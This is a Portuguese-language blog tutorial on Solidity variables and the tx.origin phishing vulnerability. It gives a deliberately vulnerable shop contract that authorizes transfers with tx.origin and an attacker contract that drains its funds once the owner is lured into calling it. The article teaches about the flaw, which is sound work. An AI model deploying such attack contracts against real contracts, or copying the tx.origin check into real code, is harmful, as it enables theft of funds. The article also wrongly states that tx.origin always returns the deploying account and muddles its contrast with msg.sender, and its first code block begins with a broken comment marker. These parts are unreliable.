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Ismael Mesquita
Ismael Mesquita

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Vulnerabilidade Em Um Smart Contract Solidity|`tx.origin`

Vulnerabilidade Em Um Smart Contract |tx.origin

Introdução

Essa é uma falha de segurança que envolve uma variável global do solidity. Para uma melhor explanação dessa vulnerabilidade começaremos com uma descrição básica sobre os tipos de vaiáveis que a linguagem solidity suporta. Essas variáveis são as seguintes:

  • Variáveis de estado(State variables)
  • Variáveis de locais(Local variables)
  • Variáveis globais(Global variables)

Variáveis de estado(State variables)

São variáveis cujos valores são armazenados permanentemente em um contrato.

// SPDX-License-Identifier: MIT (web3dev)
pragma solidity ^0.8.16;
contract Statevariable {
   uint storedData;  //variável de estado
   constructor() {
      storedData = 10;  // atribuindo um valor
   }

   function returnStoredData()public view returns (uint) {
     return storedData;
   }
}
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Caso queira testar o código anterior use o IDE Remix, assim poderá interagir com o contrato. Em suma, quando a função returnStoredData for executada, você receberá o seguinte dado:

{
    "0": "uint256: 10"
}
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Em outras palavras a variável foi gravada no contrato e pode ser acessada toda vez que a função returnStoredData for executada.

Variáveis locais(Local variables)

Variáveis cujos valores são usados apenas dentro do bloco de código da função. Os parâmetros são sempre locais para a função.


// SPDX-License-Identifier: MIT (web3dev)
pragma solidity ^0.8.16;
contract SolidityTest {
   function getResult() public pure returns(uint){
      uint a = 1; // variável local
      uint b = 2;
      uint result = a + b;
      return result; //acessando a variável local
   }
}

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Variáveis globais(Global variables)

Na documentação da linguagem solidity existe uma seção dedicada a listar as funções e variáveis especiais, das quais não listarei todas abaixo, porém você pode conferir em Special Variables and Functions.

Nome Retorno
blockhash(uint blockNumber) returns (bytes32) Hash of the given block - only works for 256 most recent, excluding current, blocks
block.coinbase (address payable) Current block miner's address
block.difficulty (uint) Current block difficulty
- -
msg.sender sender of the message (current call)
tx.origin sender of the transaction (full call chain)

Direto ao ponto, as variáveis globais fornecem informações do blockchain e as propriedades das transações.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract GlobalVariables {
    function globalVariables() public view returns(uint, address, address,uint) {
        uint timestamp = block.timestamp;
        address sender = msg.sender;
        address senderx= tx.origin;
        uint blockdifficulty= block.difficulty;
        return(timestamp, sender, senderx,blockdifficulty);
    }
}
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Focando no em nosso caso de estudo, se você executar o código anterior verá que que tanto msg.sender quantotx.origin fornecem a mesma saída, ou seja, o endereço da carteira de quem chamou a transação. Porém, o próprio site oficial da linguagem solidity levanta uma bandeira vermelha para o uso da função tx.origin:

Nunca use tx.origin para autorizar uma transação.

Fonte: Solidity docs

A resposta para o que realmente acontece por debaixo dos panos quando executamos o contrato é mais simples do que aparenta, veja a seguir:

  • A variável tx.origin independente de quantas vezes o contrato for executado por diferentes contas, quando a variável for invocada nós sempre vamos obter como saída o endereço EOA de quem implantou o contrato.

  • Já a variável msg.sender nos retorna o endereço da conta de quem chamou(executou) a última transação. E nesse caso não precisa ser necessariamente uma conta do tipo EOA pode ser uma SCA. Em resumo, se um usuário interagir com o contrato A e concretizar uma transação, quando a função msg.sender for executada nós teremos como saída o último endereço que interagiu com o contrato o mesmo é valido para uma conta SCA.

tx.origin vs msg.sender

Enquanto tx.origin precorre toda a pilha de contratos para retornar o endereço EOA de quem implantou o contrato, msg.sender retorna dois tipos de contas EOA e SCA e nesse caso a saída vai depender de quem interagiu com a conta por último.

EOA e SCA 🤔

Para explicar as variáveis anteriormente acabei citando dois termos que eu não havia introduzido antes, no caso EOA e SCA. Direto ao ponto, na rede Ethereum existem dois tipos de contas, que são as citadas anteriormente.

Explicando cada uma:

  • EOA (Externally Owned Account) é o tipo de conta é controlado por uma chave pública e uma chave privada, ou seja, a conta que o usuário comum pode criar utilizando uma Crypto Wallet, como por exemplo a MetaMask.

Nesse caso o usuário que possui a acesso a chave pública e uma chave privada, controla o saldo e todas as interações com a blockchain, outra característica é que uma EOA existe fora da EVM, por isso o Externally.

  • SCA (Smart Contract Account) esse tipo de conta é regido por código, em outras palavras código é lei, assim toda interação com esse tipo de conta é regida por regras pré-estabelecidas no momento em que o contrato foi criado.

Quando é que começaremos a hackear? 😂

funny hacker image

Acredito que a introdução base para entender o nosso caso de estudo já foram fornecidas anteriormente então vamos lá.

Ao usar a variável global tx.origin para autorização de transações em um contrato inteligente, fará com que ele fique vulnerável a ataques de phishing. Então vamos para o nosso exemplo:

Considere o seguinte contrato para a loja da Alice: a vítima:

/ SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
contract LojaAlice {
    address private owner;

    constructor() {
        owner = msg.sender;
    }

    function Comprar() public payable {}

    function transfer(address _to, uint256 amount) public {
        require(tx.origin == owner, "Not owner");
        (bool success, ) = _to.call{value: amount}("");
        require(success, "Failed to send ether");
    }

    function getBalance()public view returns (uint256) {
        return address(this).balance;
    }
}
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É um contrato bem simples apenas para o nosso caso de estudo, pois veja que na função comprar não está definido um preço para ser executa, ou seja, para executa-la o cliente precisa inserir um valor em ETH, mais precisamente, em wei.

Nota: 1 ETH = 1*10^18 wei

transfer function

A função transfer ela pode ser executada apenas pela Alice, que para ser executada precisa ser fornecido dois "valores":

  • address: o endereço da conta EOA ou SCA para o qual Alice deseja enviar o saldo que ela possui no contrato da loja.

  • amount: o valor que a dona do contrato deseja enviar.

Já a função getBalance quando for executada nos retorna o saldo associado ao contrato inteligente em wei.
Exemplo:

balanço do contrato

Nesse caso o contrato possui um total de 10 ETH= 1*10^19 wei

Agora partindo para o contrato malicioso

Um usuário que vamos chamar de Bob percebeu a vulnerabilidade no contrato da Alice, criou o seguinte contrato:

contract BobAttack {
    address public owner;
    LojaAlice store;

    constructor(LojaAlice _store) {
        store = LojaAlice(_store);
        owner = msg.sender;
    }

    function attack() public {
        store.transfer(owner, address(store).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
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Perceba que um dos parâmetros para implantação do contrato do Bob é o endereço do contrato da loja da Alice onde ele referencia apenas como store.

deploy smart contract

Depois de implantado o contrato malicioso do Bob, ele precisa que a Alice execute a função attack, mas para que o ataque seja bem sucedido, a vítima precisa autorizar a transação usando a mesma conta EOA usada na implantação do contrato inteligente do loja. Dessa forma, caso o critério estabelecido por Bob seja satisfeito, a vítima nesse caso a Alice, irá autorizar que todos os fundos do contrato da loja transferidos para a conta EOA do Bob, concretizando assim o ataque de phishing.

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